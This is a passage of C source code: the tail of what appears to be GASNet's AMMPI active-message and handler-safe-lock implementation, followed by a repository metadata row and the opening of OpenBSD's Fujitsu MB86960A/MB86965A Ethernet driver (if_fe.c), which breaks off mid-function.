numargs, argptr));
AMUNLOCK();
}
va_end(argptr);
if_pf (retval) GASNETI_RETURN_ERR(RESOURCE);
else return GASNET_OK;
}
extern int gasnetc_AMRequestMediumM(
gasnet_node_t dest, /* destination node */
gasnet_handler_t handler, /* index into destination endpoint's handler table */
void *source_addr, size_t nbytes, /* data payload */
int numargs, ...) {
int retval;
va_list argptr;
CHECKCALLNIS();
GASNETI_COMMON_AMREQUESTMEDIUM(dest,handler,source_addr,nbytes,numargs);
va_start(argptr, numargs); /* pass in last argument */
#if GASNET_PSHM
if_pt (gasneti_pshm_in_supernode(dest)) {
retval = gasneti_AMPSHM_RequestGeneric(gasnetc_Medium, dest, handler,
source_addr, nbytes, 0,
numargs, argptr);
} else
#endif
{
if_pf (!nbytes) source_addr = (void*)(uintptr_t)1; /* Bug 2774 - anything but NULL */
AMLOCK_TOSEND();
GASNETI_AM_SAFE_NORETURN(retval,
AMMPI_RequestIVA(gasnetc_endpoint, dest, handler,
source_addr, nbytes,
numargs, argptr));
AMUNLOCK();
}
va_end(argptr);
if_pf (retval) GASNETI_RETURN_ERR(RESOURCE);
else return GASNET_OK;
}
extern int gasnetc_AMRequestLongM( gasnet_node_t dest, /* destination node */
gasnet_handler_t handler, /* index into destination endpoint's handler table */
void *source_addr, size_t nbytes, /* data payload */
void *dest_addr, /* data destination on destination node */
int numargs, ...) {
int retval;
va_list argptr;
CHECKCALLNIS();
GASNETI_COMMON_AMREQUESTLONG(dest,handler,source_addr,nbytes,dest_addr,numargs);
va_start(argptr, numargs); /* pass in last argument */
#if GASNET_PSHM
if_pt (gasneti_pshm_in_supernode(dest)) {
retval = gasneti_AMPSHM_RequestGeneric(gasnetc_Long, dest, handler,
source_addr, nbytes, dest_addr,
numargs, argptr);
} else
#endif
{
uintptr_t dest_offset;
dest_offset = ((uintptr_t)dest_addr) - ((uintptr_t)gasneti_seginfo[dest].addr);
if_pf (!nbytes) source_addr = (void*)(uintptr_t)1; /* Bug 2774 - anything but NULL */
AMLOCK_TOSEND();
GASNETI_AM_SAFE_NORETURN(retval,
AMMPI_RequestXferVA(gasnetc_endpoint, dest, handler,
source_addr, nbytes,
dest_offset, 0,
numargs, argptr));
AMUNLOCK();
}
va_end(argptr);
if_pf (retval) GASNETI_RETURN_ERR(RESOURCE);
else return GASNET_OK;
}
extern int gasnetc_AMReplyShortM(
gasnet_token_t token, /* token provided on handler entry */
gasnet_handler_t handler, /* index into destination endpoint's handler table */
int numargs, ...) {
int retval;
va_list argptr;
CHECKCALLHSL();
GASNETI_COMMON_AMREPLYSHORT(token,handler,numargs);
va_start(argptr, numargs); /* pass in last argument */
#if GASNET_PSHM
if_pt (gasnetc_token_is_pshm(token)) {
retval = gasneti_AMPSHM_ReplyGeneric(gasnetc_Short, token, handler,
0, 0, 0,
numargs, argptr);
} else
#endif
{
AM_ASSERT_LOCKED();
GASNETI_AM_SAFE_NORETURN(retval,
AMMPI_ReplyVA(token, handler, numargs, argptr));
}
va_end(argptr);
if_pf (retval) GASNETI_RETURN_ERR(RESOURCE);
else return GASNET_OK;
}
extern int gasnetc_AMReplyMediumM(
gasnet_token_t token, /* token provided on handler entry */
gasnet_handler_t handler, /* index into destination endpoint's handler table */
void *source_addr, size_t nbytes, /* data payload */
int numargs, ...) {
int retval;
va_list argptr;
CHECKCALLHSL();
GASNETI_COMMON_AMREPLYMEDIUM(token,handler,source_addr,nbytes,numargs);
va_start(argptr, numargs); /* pass in last argument */
#if GASNET_PSHM
if_pt (gasnetc_token_is_pshm(token)) {
retval = gasneti_AMPSHM_ReplyGeneric(gasnetc_Medium, token, handler,
source_addr, nbytes, 0,
numargs, argptr);
} else
#endif
{
if_pf (!nbytes) source_addr = (void*)(uintptr_t)1; /* Bug 2774 - anything but NULL */
AM_ASSERT_LOCKED();
GASNETI_AM_SAFE_NORETURN(retval,
AMMPI_ReplyIVA(token, handler, source_addr, nbytes, numargs, argptr));
}
va_end(argptr);
if_pf (retval) GASNETI_RETURN_ERR(RESOURCE);
else return GASNET_OK;
}
extern int gasnetc_AMReplyLongM(
gasnet_token_t token, /* token provided on handler entry */
gasnet_handler_t handler, /* index into destination endpoint's handler table */
void *source_addr, size_t nbytes, /* data payload */
void *dest_addr, /* data destination on destination node */
int numargs, ...) {
int retval;
va_list argptr;
CHECKCALLHSL();
GASNETI_COMMON_AMREPLYLONG(token,handler,source_addr,nbytes,dest_addr,numargs);
va_start(argptr, numargs); /* pass in last argument */
#if GASNET_PSHM
if_pt (gasnetc_token_is_pshm(token)) {
retval = gasneti_AMPSHM_ReplyGeneric(gasnetc_Long, token, handler,
source_addr, nbytes, dest_addr,
numargs, argptr);
} else
#endif
{
gasnet_node_t dest;
uintptr_t dest_offset;
GASNETI_SAFE_PROPAGATE(gasnet_AMGetMsgSource(token, &dest));
dest_offset = ((uintptr_t)dest_addr) - ((uintptr_t)gasneti_seginfo[dest].addr);
if_pf (!nbytes) source_addr = (void*)(uintptr_t)1; /* Bug 2774 - anything but NULL */
AM_ASSERT_LOCKED();
GASNETI_AM_SAFE_NORETURN(retval,
AMMPI_ReplyXferVA(token, handler, source_addr, nbytes, dest_offset, numargs, argptr));
}
va_end(argptr);
if_pf (retval) GASNETI_RETURN_ERR(RESOURCE);
else return GASNET_OK;
}
/* ------------------------------------------------------------------------------------ */
/*
No-interrupt sections
=====================
*/
/* AMMPI does not use interrupts, but we provide an optional error-checking implementation of
handler-safe locks to assist in debugging client code
*/
#if GASNETC_USE_INTERRUPTS
#error Interrupts not implemented
#endif
#if GASNETC_HSL_ERRCHECK
typedef struct { /* per-thread HSL err-checking info */
gasnet_hsl_t *locksheld;
int inExplicitNIS;
unsigned int inhandler;
int inuse;
gasneti_tick_t NIStimestamp;
} gasnetc_hsl_errcheckinfo_t;
static gasnetc_hsl_errcheckinfo_t _info_init = { NULL, 0, 0, 0 };
static gasnetc_hsl_errcheckinfo_t _info_free = { NULL, 0, 0, 0 };
#if GASNETI_CLIENT_THREADS
/* pthread thread-specific ptr to our info (or NULL for a thread never-seen before) */
GASNETI_THREADKEY_DEFINE(gasnetc_hsl_errcheckinfo);
static void gasnetc_hsl_cleanup_threaddata(void *_td) {
gasnetc_hsl_errcheckinfo_t *info = (gasnetc_hsl_errcheckinfo_t *)_td;
gasneti_assert(info->inuse);
if (info->inhandler)
gasneti_fatalerror("HSL USAGE VIOLATION: thread exit within AM handler");
if (info->locksheld) GASNETI_TRACE_PRINTF(I,("Thread exiting while holding HSL locks"));
info->inuse = 0;
gasneti_threadkey_set(gasnetc_hsl_errcheckinfo, &_info_free);
}
static gasnetc_hsl_errcheckinfo_t *gasnetc_get_errcheckinfo(void) {
gasnetc_hsl_errcheckinfo_t *info = gasneti_threadkey_get(gasnetc_hsl_errcheckinfo);
if_pt (info) return info;
/* first time we've seen this thread - need to set it up */
{ /* it's unsafe to call malloc or gasneti_malloc here after attach,
because we may be within a hold_interrupts call, so table is single-level
and initialized during gasnet_attach */
static gasnetc_hsl_errcheckinfo_t *hsl_errcheck_table = NULL;
static gasneti_mutex_t hsl_errcheck_tablelock = GASNETI_MUTEX_INITIALIZER;
int maxthreads = gasneti_max_threads();
int idx;
gasneti_mutex_lock(&hsl_errcheck_tablelock);
if (!hsl_errcheck_table)
hsl_errcheck_table = gasneti_calloc(maxthreads,sizeof(gasnetc_hsl_errcheckinfo_t));
for (idx = 0; idx < maxthreads; idx++) {
if (!hsl_errcheck_table[idx].inuse) break;
}
if (idx == maxthreads) gasneti_fatal_threadoverflow("HSL errorcheck");
gasneti_assert(idx < maxthreads);
info = &(hsl_errcheck_table[idx]);
gasneti_assert(!info->inuse);
memcpy(info, &_info_init, sizeof(gasnetc_hsl_errcheckinfo_t));
info->inuse = 1;
gasneti_mutex_unlock(&hsl_errcheck_tablelock);
gasneti_threadkey_set(gasnetc_hsl_errcheckinfo, info);
gasnete_register_threadcleanup(gasnetc_hsl_cleanup_threaddata, info);
return info;
}
}
#else
static gasnetc_hsl_errcheckinfo_t *gasnetc_get_errcheckinfo(void) {
return &_info_init;
}
#endif
extern void gasnetc_hsl_attach(void) {
gasnetc_get_errcheckinfo();
}
extern void gasnetc_hold_interrupts(void) {
GASNETI_CHECKATTACH();
{ gasnetc_hsl_errcheckinfo_t *info = gasnetc_get_errcheckinfo();
if_pf (info == &_info_free) return; /* TODO: assert that we are in the thread destruction path */
if (info->inhandler) { /* NIS calls ignored within a handler */
GASNETI_TRACE_PRINTF(I,("Warning: Called gasnet_hold_interrupts within a handler context -- call ignored"));
return;
}
if (info->locksheld) { /* NIS calls ignored while holding an HSL */
GASNETI_TRACE_PRINTF(I,("Warning: Called gasnet_hold_interrupts while holding an HSL -- call ignored"));
return;
}
if (info->inExplicitNIS)
gasneti_fatalerror("HSL USAGE VIOLATION: tried to disable interrupts when they were already disabled");
info->inExplicitNIS = 1;
info->NIStimestamp = gasneti_ticks_now();
}
}
extern void gasnetc_resume_interrupts(void) {
GASNETI_CHECKATTACH();
{ gasnetc_hsl_errcheckinfo_t *info = gasnetc_get_errcheckinfo();
if_pf (info == &_info_free) return; /* TODO: assert that we are in the thread destruction path */
if (info->inhandler) { /* NIS calls ignored within a handler */
GASNETI_TRACE_PRINTF(I,("Warning: Called gasnet_resume_interrupts within a handler context -- call ignored"));
return;
}
if (info->locksheld) { /* NIS calls ignored while holding an HSL */
GASNETI_TRACE_PRINTF(I,("Warning: Called gasnet_resume_interrupts while holding an HSL -- call ignored"));
return;
}
if (!info->inExplicitNIS)
gasneti_fatalerror("HSL USAGE VIOLATION: tried to resume interrupts when they were not disabled");
{ float NIStime = gasneti_ticks_to_ns(gasneti_ticks_now() - info->NIStimestamp)/1000.0;
if (NIStime > GASNETC_NISTIMEOUT_WARNING_THRESHOLD) {
fprintf(stderr,"HSL USAGE WARNING: held a no-interrupt section for a long interval (%8.3f sec)\n", NIStime/1000000.0);
fflush(stderr);
}
}
info->inExplicitNIS = 0;
}
}
void gasnetc_checkcallNIS(void) {
gasnetc_hsl_errcheckinfo_t *info = gasnetc_get_errcheckinfo();
if (info->inExplicitNIS)
gasneti_fatalerror("Illegal call to GASNet within a No-Interrupt Section");
if (info->inhandler)
gasneti_fatalerror("Illegal call to GASNet within a No-Interrupt Section (imposed by handler context)");
gasnetc_checkcallHSL();
}
void gasnetc_checkcallHSL(void) {
gasnetc_hsl_errcheckinfo_t *info = gasnetc_get_errcheckinfo();
if (info->locksheld)
gasneti_fatalerror("Illegal call to GASNet while holding a Handler-Safe Lock");
}
#endif
/* ------------------------------------------------------------------------------------ */
/*
Handler-safe locks
==================
*/
#if !GASNETC_NULL_HSL
extern void gasnetc_hsl_init (gasnet_hsl_t *hsl) {
GASNETI_CHECKATTACH();
#if GASNETC_HSL_ERRCHECK
{
if (hsl->tag == GASNETC_HSL_ERRCHECK_TAGINIT)
gasneti_fatalerror("HSL USAGE VIOLATION: tried to gasnet_hsl_init() a statically-initialized HSL");
#if 0
/* this causes false errors in Titanium, because object destructors aren't implemented */
if (hsl->tag == GASNETC_HSL_ERRCHECK_TAGDYN)
gasneti_fatalerror("HSL USAGE VIOLATION: tried to gasnet_hsl_init() a previously-initialized HSL (or one you forgot to destroy)");
#endif
hsl->tag = GASNETC_HSL_ERRCHECK_TAGDYN;
hsl->next = NULL;
hsl->islocked = 0;
}
#endif
gasneti_mutex_init(&(hsl->lock));
}
extern void gasnetc_hsl_destroy(gasnet_hsl_t *hsl) {
GASNETI_CHECKATTACH();
#if GASNETC_HSL_ERRCHECK
{
if (hsl->tag != GASNETC_HSL_ERRCHECK_TAGINIT && hsl->tag != GASNETC_HSL_ERRCHECK_TAGDYN)
gasneti_fatalerror("HSL USAGE VIOLATION: tried to gasnet_hsl_destroy() an uninitialized HSL");
if (hsl->islocked)
gasneti_fatalerror("HSL USAGE VIOLATION: tried to gasnet_hsl_destroy() a locked HSL");
hsl->tag = 0;
gasneti_assert(!hsl->next);
}
#endif
gasneti_mutex_destroy(&(hsl->lock));
}
extern void gasnetc_hsl_lock (gasnet_hsl_t *hsl) {
GASNETI_CHECKATTACH();
#if GASNETC_HSL_ERRCHECK
{ gasnetc_hsl_errcheckinfo_t *info = gasnetc_get_errcheckinfo();
gasnet_hsl_t *heldhsl = info->locksheld;
if (hsl->tag != GASNETC_HSL_ERRCHECK_TAGINIT && hsl->tag != GASNETC_HSL_ERRCHECK_TAGDYN)
gasneti_fatalerror("HSL USAGE VIOLATION: tried to gasnet_hsl_lock() an uninitialized HSL");
while (heldhsl) {
if (heldhsl == hsl)
gasneti_fatalerror("HSL USAGE VIOLATION: tried to recursively gasnet_hsl_lock() an HSL");
heldhsl = heldhsl->next;
}
}
#endif
{
#if GASNETI_STATS_OR_TRACE
gasneti_tick_t startlock = GASNETI_TICKS_NOW_IFENABLED(L);
#endif
#if GASNETC_HSL_SPINLOCK
if_pf (gasneti_mutex_trylock(&(hsl->lock)) == EBUSY) {
if (gasneti_wait_mode == GASNET_WAIT_SPIN) {
while (gasneti_mutex_trylock(&(hsl->lock)) == EBUSY) {
gasneti_compiler_fence();
gasneti_spinloop_hint();
}
} else {
gasneti_mutex_lock(&(hsl->lock));
}
}
#else
gasneti_mutex_lock(&(hsl->lock));
#endif
#if GASNETI_STATS_OR_TRACE
hsl->acquiretime = GASNETI_TICKS_NOW_IFENABLED(L);
GASNETI_TRACE_EVENT_TIME(L, HSL_LOCK, hsl->acquiretime-startlock);
#endif
}
#if GASNETC_HSL_ERRCHECK
{ gasnetc_hsl_errcheckinfo_t *info = gasnetc_get_errcheckinfo();
hsl->islocked = 1;
hsl->next = info->locksheld;
info->locksheld = hsl;
hsl->timestamp = gasneti_ticks_now();
}
#endif
}
extern void gasnetc_hsl_unlock (gasnet_hsl_t *hsl) {
GASNETI_CHECKATTACH();
#if GASNETC_HSL_ERRCHECK
{ gasnetc_hsl_errcheckinfo_t *info = gasnetc_get_errcheckinfo();
gasnet_hsl_t *heldhsl = info->locksheld;
if (hsl->tag != GASNETC_HSL_ERRCHECK_TAGINIT && hsl->tag != GASNETC_HSL_ERRCHECK_TAGDYN)
gasneti_fatalerror("HSL USAGE VIOLATION: tried to gasnet_hsl_unlock() an uninitialized HSL");
while (heldhsl) {
if (heldhsl == hsl) break;
heldhsl = heldhsl->next;
}
if (!heldhsl)
gasneti_fatalerror("HSL USAGE VIOLATION: tried to gasnet_hsl_unlock() an HSL I didn't own");
if (info->locksheld != hsl)
gasneti_fatalerror("HSL USAGE VIOLATION: tried to gasnet_hsl_unlock() an HSL out of order");
{ float NIStime = gasneti_ticks_to_ns(gasneti_ticks_now() - hsl->timestamp)/1000.0;
if (NIStime > GASNETC_NISTIMEOUT_WARNING_THRESHOLD) {
fprintf(stderr,"HSL USAGE WARNING: held an HSL for a long interval (%8.3f sec)\n", NIStime/1000000.0);
fflush(stderr);
}
}
hsl->islocked = 0;
info->locksheld = hsl->next;
}
#endif
GASNETI_TRACE_EVENT_TIME(L, HSL_UNLOCK, GASNETI_TICKS_NOW_IFENABLED(L)-hsl->acquiretime);
gasneti_mutex_unlock(&(hsl->lock));
}
extern int gasnetc_hsl_trylock(gasnet_hsl_t *hsl) {
GASNETI_CHECKATTACH();
#if GASNETC_HSL_ERRCHECK
{ gasnetc_hsl_errcheckinfo_t *info = gasnetc_get_errcheckinfo();
gasnet_hsl_t *heldhsl = info->locksheld;
if (hsl->tag != GASNETC_HSL_ERRCHECK_TAGINIT && hsl->tag != GASNETC_HSL_ERRCHECK_TAGDYN)
gasneti_fatalerror("HSL USAGE VIOLATION: tried to gasnet_hsl_trylock() an uninitialized HSL");
while (heldhsl) {
if (heldhsl == hsl)
gasneti_fatalerror("HSL USAGE VIOLATION: tried to recursively gasnet_hsl_trylock() an HSL");
heldhsl = heldhsl->next;
}
}
#endif
{
int locked = (gasneti_mutex_trylock(&(hsl->lock)) == 0);
GASNETI_TRACE_EVENT_VAL(L, HSL_TRYLOCK, locked);
if (locked) {
#if GASNETI_STATS_OR_TRACE
hsl->acquiretime = GASNETI_TICKS_NOW_IFENABLED(L);
#endif
#if GASNETC_HSL_ERRCHECK
{ gasnetc_hsl_errcheckinfo_t *info = gasnetc_get_errcheckinfo();
hsl->islocked = 1;
hsl->next = info->locksheld;
info->locksheld = hsl;
hsl->timestamp = gasneti_ticks_now();
}
#endif
}
return locked ? GASNET_OK : GASNET_ERR_NOT_READY;
}
}
#endif
#if GASNETC_HSL_ERRCHECK && !GASNETC_NULL_HSL
extern void gasnetc_enteringHandler_hook_hsl(int cat, int isReq, int handlerId, gasnet_token_t token,
void *buf, size_t nbytes, int numargs,
gasnet_handlerarg_t *args) {
gasnetc_hsl_errcheckinfo_t *info = gasnetc_get_errcheckinfo();
if (info->locksheld)
gasneti_fatalerror("HSL USAGE VIOLATION: tried to make a GASNet network call while holding an HSL");
if (info->inExplicitNIS)
gasneti_fatalerror("HSL USAGE VIOLATION: tried to make a GASNet network call with interrupts disabled");
info->inhandler++;
}
extern void gasnetc_leavingHandler_hook_hsl(int cat, int isReq) {
gasnetc_hsl_errcheckinfo_t *info = gasnetc_get_errcheckinfo();
gasneti_assert(info->inhandler > 0);
gasneti_assert(!info->inExplicitNIS);
if (info->locksheld)
gasneti_fatalerror("HSL USAGE VIOLATION: tried to exit a handler while holding an HSL");
info->inhandler--;
}
#endif /* GASNETC_HSL_ERRCHECK && !GASNETC_NULL_HSL */
#if (!GASNETC_NULL_HSL && GASNETC_HSL_ERRCHECK) || GASNET_TRACE
/* called when entering/leaving handler - also called when entering/leaving AM_Reply call */
extern void gasnetc_enteringHandler_hook(ammpi_category_t cat, int isReq, int handlerId, void *token,
void *buf, size_t nbytes, int numargs, uint32_t *args) {
switch (cat) {
case ammpi_Short:
if (isReq) GASNETI_TRACE_AMSHORT_REQHANDLER(handlerId, token, numargs, args);
else GASNETI_TRACE_AMSHORT_REPHANDLER(handlerId, token, numargs, args);
break;
case ammpi_Medium:
if (isReq) GASNETI_TRACE_AMMEDIUM_REQHANDLER(handlerId, token, buf, nbytes, numargs, args);
else GASNETI_TRACE_AMMEDIUM_REPHANDLER(handlerId, token, buf, nbytes, numargs, args);
break;
case ammpi_Long:
if (isReq) GASNETI_TRACE_AMLONG_REQHANDLER(handlerId, token, buf, nbytes, numargs, args);
else GASNETI_TRACE_AMLONG_REPHANDLER(handlerId, token, buf, nbytes, numargs, args);
break;
default: gasneti_fatalerror("Unknown handler type in gasnetc_enteringHandler_hook(): %i", cat);
}
#if (!GASNETC_NULL_HSL && GASNETC_HSL_ERRCHECK)
gasnetc_enteringHandler_hook_hsl(cat, isReq, handlerId, token, buf, nbytes,
numargs, (gasnet_handlerarg_t *)args);
#endif
}
extern void gasnetc_leavingHandler_hook(ammpi_category_t cat, int isReq) {
switch (cat) {
case ammpi_Short:
GASNETI_TRACE_PRINTF(A,("AM%s_SHORT_HANDLER: handler execution complete", (isReq?"REQUEST":"REPLY"))); \
break;
case ammpi_Medium:
GASNETI_TRACE_PRINTF(A,("AM%s_MEDIUM_HANDLER: handler execution complete", (isReq?"REQUEST":"REPLY"))); \
break;
case ammpi_Long:
GASNETI_TRACE_PRINTF(A,("AM%s_LONG_HANDLER: handler execution complete", (isReq?"REQUEST":"REPLY"))); \
break;
default: gasneti_fatalerror("Unknown handler type in gasnetc_leavingHandler_hook(): %i", cat);
}
#if (!GASNETC_NULL_HSL && GASNETC_HSL_ERRCHECK)
gasnetc_leavingHandler_hook_hsl(cat, isReq);
#endif
}
#endif
/* ------------------------------------------------------------------------------------ */
/*
Private Handlers:
================
*/
static gasnet_handlerentry_t const gasnetc_handlers[] = {
#ifdef GASNETC_AUXSEG_HANDLERS
GASNETC_AUXSEG_HANDLERS(),
#endif
/* ptr-width independent handlers */
/* ptr-width dependent handlers */
{ 0, NULL }
};
gasnet_handlerentry_t const *gasnetc_get_handlertable(void) {
return gasnetc_handlers;
}
/* ------------------------------------------------------------------------------------ */
| bsd-3-clause |
MarginC/kame | openbsd/sys/dev/isa/if_fe.c | 65426 | /* $OpenBSD: if_fe.c,v 1.12 1999/02/28 03:23:38 jason Exp $ */
/*
* All Rights Reserved, Copyright (C) Fujitsu Limited 1995
*
* This software may be used, modified, copied, distributed, and sold, in
* both source and binary form provided that the above copyright, these
* terms and the following disclaimer are retained. The name of the author
* and/or the contributor may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND THE CONTRIBUTOR ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR THE CONTRIBUTOR BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION.
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
/*
* Portions copyright (C) 1993, David Greenman. This software may be used,
* modified, copied, distributed, and sold, in both source and binary form
* provided that the above copyright and these terms are retained. Under no
* circumstances is the author responsible for the proper functioning of this
* software, nor does the author assume any responsibility for damages
* incurred with its use.
*/
#define FE_VERSION "if_fe.c ver. 0.8"
/*
* Device driver for Fujitsu MB86960A/MB86965A based Ethernet cards.
* Contributed by M.S. <[email protected]>
*
* This version is intended to be a generic template for various
* MB86960A/MB86965A based Ethernet cards. It currently supports
* Fujitsu FMV-180 series (i.e., FMV-181 and FMV-182) and Allied-
* Telesis AT1700 series and RE2000 series. There are some
* unnecessary hooks embedded, which are primarily intended to support
* other types of Ethernet cards, but the author is not sure whether
* they are useful.
*/
#include "bpfilter.h"
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/errno.h>
#include <sys/ioctl.h>
#include <sys/mbuf.h>
#include <sys/socket.h>
#include <sys/syslog.h>
#include <sys/device.h>
#include <net/if.h>
#include <net/if_dl.h>
#include <net/if_types.h>
#include <net/netisr.h>
#ifdef INET
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/in_var.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#endif
#if NBPFILTER > 0
#include <net/bpf.h>
#include <net/bpfdesc.h>
#endif
#include <machine/cpu.h>
#include <machine/intr.h>
#include <machine/pio.h>
#include <dev/isa/isareg.h>
#include <dev/isa/isavar.h>
#include <dev/ic/mb86960reg.h>
#include <dev/isa/if_fereg.h>
/*
* Default settings for fe driver specific options.
* They can be set in config file by "options" statements.
*/
/*
* Debug control.
* 0: No debug at all. All debug specific codes are stripped off.
* 1: Silent. No debug messages are logged except emergent ones.
* 2: Brief. Lair events and/or important information are logged.
* 3: Detailed. Logs all information which *may* be useful for debugging.
* 4: Trace. All actions in the driver is logged. Super verbose.
*/
#ifndef FE_DEBUG
#define FE_DEBUG 1
#endif
/*
* Delay padding of short transmission packets to minimum Ethernet size.
* This may or may not gain performance. An EXPERIMENTAL option.
*/
#ifndef FE_DELAYED_PADDING
#define FE_DELAYED_PADDING 0
#endif
/*
* Transmit just one packet per a "send" command to 86960.
* This option is intended for performance test. An EXPERIMENTAL option.
*/
#ifndef FE_SINGLE_TRANSMISSION
#define FE_SINGLE_TRANSMISSION 0
#endif
/*
* Device configuration flags.
*/
/* DLCR6 settings. */
#define FE_FLAGS_DLCR6_VALUE 0x007F
/* Force DLCR6 override. */
#define FE_FLAGS_OVERRIDE_DLCR6 0x0080
/* A cludge for PCMCIA support. */
#define FE_FLAGS_PCMCIA 0x8000
/* Identification of the driver version. */
static char const fe_version[] = FE_VERSION " / " FE_REG_VERSION;
/*
* Supported hardware (Ethernet card) types
* This information is currently used only for debugging
*/
enum fe_type {
/* For cards which are successfully probed but not identified. */
FE_TYPE_UNKNOWN,
/* Fujitsu FMV-180 series. */
FE_TYPE_FMV181,
FE_TYPE_FMV182,
/* Allied-Telesis AT1700 series and RE2000 series. */
FE_TYPE_AT1700T,
FE_TYPE_AT1700BT,
FE_TYPE_AT1700FT,
FE_TYPE_AT1700AT,
FE_TYPE_RE2000,
/* PCMCIA by Fujitsu. */
FE_TYPE_MBH10302,
FE_TYPE_MBH10304,
};
/*
* fe_softc: per line info and status
*/
struct fe_softc {
struct device sc_dev;
void *sc_ih;
struct arpcom sc_arpcom; /* ethernet common */
/* Set by probe() and not modified in later phases. */
enum fe_type type; /* interface type code */
char *typestr; /* printable name of the interface. */
int sc_iobase; /* MB86960A I/O base address */
u_char proto_dlcr4; /* DLCR4 prototype. */
u_char proto_dlcr5; /* DLCR5 prototype. */
u_char proto_dlcr6; /* DLCR6 prototype. */
u_char proto_dlcr7; /* DLCR7 prototype. */
u_char proto_bmpr13; /* BMPR13 prototype. */
/* Vendor specific hooks. */
void (*init) __P((struct fe_softc *)); /* Just before fe_init(). */
void (*stop) __P((struct fe_softc *)); /* Just after fe_stop(). */
/* Transmission buffer management. */
u_short txb_size; /* total bytes in TX buffer */
u_short txb_free; /* free bytes in TX buffer */
u_char txb_count; /* number of packets in TX buffer */
u_char txb_sched; /* number of scheduled packets */
u_char txb_padding; /* number of delayed padding bytes */
/* Multicast address filter management. */
u_char filter_change; /* MARs must be changed ASAP. */
u_char filter[FE_FILTER_LEN]; /* new filter value. */
};
/* Frequently accessed members in arpcom. */
#define sc_enaddr sc_arpcom.ac_enaddr
/* Standard driver entry points. These can be static. */
int feprobe __P((struct device *, void *, void *));
void feattach __P((struct device *, struct device *, void *));
int feintr __P((void *));
void fe_init __P((struct fe_softc *));
int fe_ioctl __P((struct ifnet *, u_long, caddr_t));
void fe_start __P((struct ifnet *));
void fe_reset __P((struct fe_softc *));
void fe_watchdog __P((struct ifnet *));
/* Local functions. Order of declaration is confused. FIXME. */
int fe_probe_fmv __P((struct fe_softc *, struct isa_attach_args *));
int fe_probe_ati __P((struct fe_softc *, struct isa_attach_args *));
int fe_probe_mbh __P((struct fe_softc *, struct isa_attach_args *));
void fe_init_mbh __P((struct fe_softc *));
int fe_get_packet __P((struct fe_softc *, int));
void fe_stop __P((struct fe_softc *));
void fe_tint __P((/*struct fe_softc *, u_char*/));
void fe_rint __P((/*struct fe_softc *, u_char*/));
static inline
void fe_xmit __P((struct fe_softc *));
void fe_write_mbufs __P((struct fe_softc *, struct mbuf *));
void fe_getmcaf __P((struct arpcom *, u_char *));
void fe_setmode __P((struct fe_softc *));
void fe_loadmar __P((struct fe_softc *));
#if FE_DEBUG >= 1
void fe_dump __P((int, struct fe_softc *));
#endif
struct cfattach fe_ca = {
sizeof(struct fe_softc), feprobe, feattach
};
struct cfdriver fe_cd = {
NULL, "fe", DV_IFNET
};
/* Ethernet constants. To be defined in if_ehter.h? FIXME. */
#define ETHER_MIN_LEN 60 /* with header, without CRC. */
#define ETHER_MAX_LEN 1514 /* with header, without CRC. */
#define ETHER_ADDR_LEN 6 /* number of bytes in an address. */
#define ETHER_HDR_SIZE 14 /* src addr, dst addr, and data type. */
/*
* Fe driver specific constants which relate to 86960/86965.
*/
/* Interrupt masks. */
#define FE_TMASK (FE_D2_COLL16 | FE_D2_TXDONE)
#define FE_RMASK (FE_D3_OVRFLO | FE_D3_CRCERR | \
FE_D3_ALGERR | FE_D3_SRTPKT | FE_D3_PKTRDY)
/* Maximum number of iterrations for a receive interrupt. */
#define FE_MAX_RECV_COUNT ((65536 - 2048 * 2) / 64)
/* Maximum size of SRAM is 65536,
* minimum size of transmission buffer in fe is 2x2KB,
* and minimum amount of received packet including headers
* added by the chip is 64 bytes.
* Hence FE_MAX_RECV_COUNT is the upper limit for number
* of packets in the receive buffer. */
/*
* Convenient routines to access contiguous I/O ports.
*/
static inline void
inblk (int addr, u_char * mem, int len)
{
while (--len >= 0) {
*mem++ = inb(addr++);
}
}
static inline void
outblk (int addr, u_char const * mem, int len)
{
while (--len >= 0) {
outb(addr++, *mem++);
}
}
/*
* Hardware probe routines.
*/
/*
* Determine if the device is present.
*/
int
feprobe(parent, match, aux)
struct device *parent;
void *match, *aux;
{
struct fe_softc *sc = match;
struct isa_attach_args *ia = aux;
#if FE_DEBUG >= 2
log(LOG_INFO, "%s: %s\n", sc->sc_dev.dv_xname, fe_version);
#endif
/* Probe an address. */
sc->sc_iobase = ia->ia_iobase;
if (fe_probe_fmv(sc, ia))
return (1);
if (fe_probe_ati(sc, ia))
return (1);
if (fe_probe_mbh(sc, ia))
return (1);
return (0);
}
/*
* Check for specific bits in specific registers have specific values.
*/
struct fe_simple_probe_struct {
u_char port; /* Offset from the base I/O address. */
u_char mask; /* Bits to be checked. */
u_char bits; /* Values to be compared against. */
};
static inline int
fe_simple_probe (int addr, struct fe_simple_probe_struct const * sp)
{
struct fe_simple_probe_struct const * p;
for (p = sp; p->mask != 0; p++) {
if ((inb(addr + p->port) & p->mask) != p->bits) {
return (0);
}
}
return (1);
}
/*
* Routines to read all bytes from the config EEPROM through MB86965A.
* I'm not sure what exactly I'm doing here... I was told just to follow
* the steps, and it worked. Could someone tell me why the following
* code works? (Or, why all similar codes I tried previously doesn't
* work.) FIXME.
*/
static inline void
strobe (int bmpr16)
{
/*
* Output same value twice. To speed-down execution?
*/
outb(bmpr16, FE_B16_SELECT);
outb(bmpr16, FE_B16_SELECT);
outb(bmpr16, FE_B16_SELECT | FE_B16_CLOCK);
